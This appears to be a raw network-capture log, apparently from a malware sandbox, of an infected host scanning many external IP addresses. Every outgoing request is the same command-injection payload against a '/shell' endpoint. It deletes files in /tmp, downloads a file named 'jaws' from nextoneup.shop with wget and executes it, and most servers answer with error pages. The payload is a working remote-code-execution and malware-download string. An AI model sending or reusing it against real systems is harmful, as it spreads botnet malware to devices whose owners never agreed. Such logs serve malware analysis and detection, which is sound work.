Apr 14, 2024 04:01:31.836467028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1656	192.168.2.23	43712	185.158.80.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.851130962 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.23	37534	103.84.217.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.861430883 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.209934950 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 14 Apr 2024 02:01:32 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.23	55464	45.26.219.148	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.444721937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.662256956 CEST	873	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url"> </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.23	53934	66.45.237.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.461677074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.690125942 CEST	1289	IN	HTTP/1.1 403 Forbidden Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Sun, 14 Apr 2024 02:01:33 GMT server: LiteSpeed Data Raw: 32 37 36 66 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: 276f<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>403 Forbidden</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%;
Apr 14, 2024 04:01:33.690144062 CEST	1289	IN	Data Raw: 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A; color: #FFF
Apr 14, 2024 04:01:33.690160036 CEST	1289	IN	Data Raw: 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b Data Ascii: text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0;
Apr 14, 2024 04:01:33.690176964 CEST	1289	IN	Data Raw: 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 Data Ascii: margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px;
Apr 14, 2024 04:01:33.690505981 CEST	1289	IN	Data Raw: 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 Data Ascii: tbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXM
Apr 14, 2024 04:01:33.690586090 CEST	1289	IN	Data Raw: 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 Data Ascii: IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkI
Apr 14, 2024 04:01:33.690603018 CEST	1289	IN	Data Raw: 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 Data Ascii: fBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc
Apr 14, 2024 04:01:33.690619946 CEST	1289	IN	Data Raw: 65 72 76 65 72 2e 6e 65 74 3f 73 75 62 6a 65 63 74 3d 45 72 72 6f 72 20 6d 65 73 73 61 67 65 20 5b 5d 20 20 66 6f 72 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 63 70 5f 65 72 72 6f 72 64 6f 63 75 6d 65 6e 74 2e 73 68 74 6d 6c 20 70 6f 72 74 20 38 Data Ascii: erver.net?subject=Error message [] for 127.0.0.1:80/cp_errordocument.shtml port 80 on Saturday, 13-Apr-2024 22:01:33 EDT"> WebMaster</a>. </section> <p class="reason-text">Access is forbidden to the requested page:</p
Apr 14, 2024 04:01:33.690634012 CEST	95	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d Data Ascii: </a> </div> </footer> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.23	54222	212.8.248.61	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.546076059 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.861301899 CEST	345	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:59 GMT Content-Length: 112 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.23	49744	47.90.32.59	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.548604965 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.864806890 CEST	440	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:33 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Keep-Alive: timeout=15, max=300 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.23	51064	165.22.121.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.549947977 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.867026091 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:33 GMT Content-Type: text/html Content-Length: 1045 Last-Modified: Wed, 22 Sep 2021 17:32:50 GMT Connection: keep-alive ETag: "614b68c2-415" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 74 69 74 6c 65 3e 61 67 72 6f 2d 73 6d 73 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 61 64 6d 69 6e 2e 63 66 37 36 39 32 63 35 2e 63 73 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6a 73 2f 61 64 6d 69 6e 2e 63 62 34 66 30 37 33 35 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6a 73 2f 61 75 74 68 2e 31 37 39 30 35 31 33 63 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 61 70 70 2e 30 31 39 63 33 30 37 39 2e 63 73 73 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 63 68 75 6e 6b 2d 76 65 6e 64 6f 72 73 2e 37 32 32 35 63 37 32 65 2e 63 73 73 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6a 73 2f 61 70 70 2e 38 36 33 63 37 35 64 62 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6a 73 2f 63 68 75 6e 6b 2d 76 65 6e 64 6f 72 73 2e 61 36 65 30 62 62 30 65 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 63 68 75 6e 6b 2d 76 65 6e 64 6f 72 73 2e 37 32 32 35 63 37 32 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 61 70 70 2e 30 31 39 63 33 30 37 39 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 72 6f 6e 67 3e 57 65 27 72 65 20 73 6f 72 72 79 20 62 75 74 20 61 67 72 6f 2d 73 6d 73 20 64 6f 65 73 6e 27 74 20 77 6f 72 6b 20 70 72 6f 70 65 72 6c 79 20 77 69 74 68 6f 75 74 20 4a 61 76 61 53 63 72 69 70 74 20 65 6e 61 62 6c 65 64 2e 20 50 6c 65 61 73 65 20 65 6e 61 62 6c 65 20 69 74 20 74 6f 20 63 6f 6e 74 69 6e 75 65 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 61 70 70 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 63 68 75 6e 6b 2d 76 65 6e 64 6f 72 73 2e 61 36 65 30 62 62 30 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 61 70 70 2e 38 36 33 63 37 35 64 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="/favicon.ico"><title>agro-sms</title><link href="/css/admin.cf7692c5.css" rel="prefetch"><link href="/js/admin.cb4f0735.js" rel="prefetch"><link href="/js/auth.1790513c.js" rel="prefetch"><link href="/css/app.019c3079.css" rel="preload" as="style"><link href="/css/chunk-vendors.7225c72e.css" rel="preload" as="style"><link href="/js/app.863c75db.js" rel="preload" as="script"><link href="/js/chunk-vendors.a6e0bb0e.js" rel="preload" as="script"><link href="/css/chunk-vendors.7225c72e.css" rel="stylesheet"><link href="/css/app.019c3079.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but agro-sms doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><script src="/js/chunk-vendors.a6e0bb0e.js"></script><script src="/js/app.863c75db.js"></scrip
Apr 14, 2024 04:01:33.867050886 CEST	28	IN	Data Raw: 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: t></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.23	39720	38.177.30.198	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.563723087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
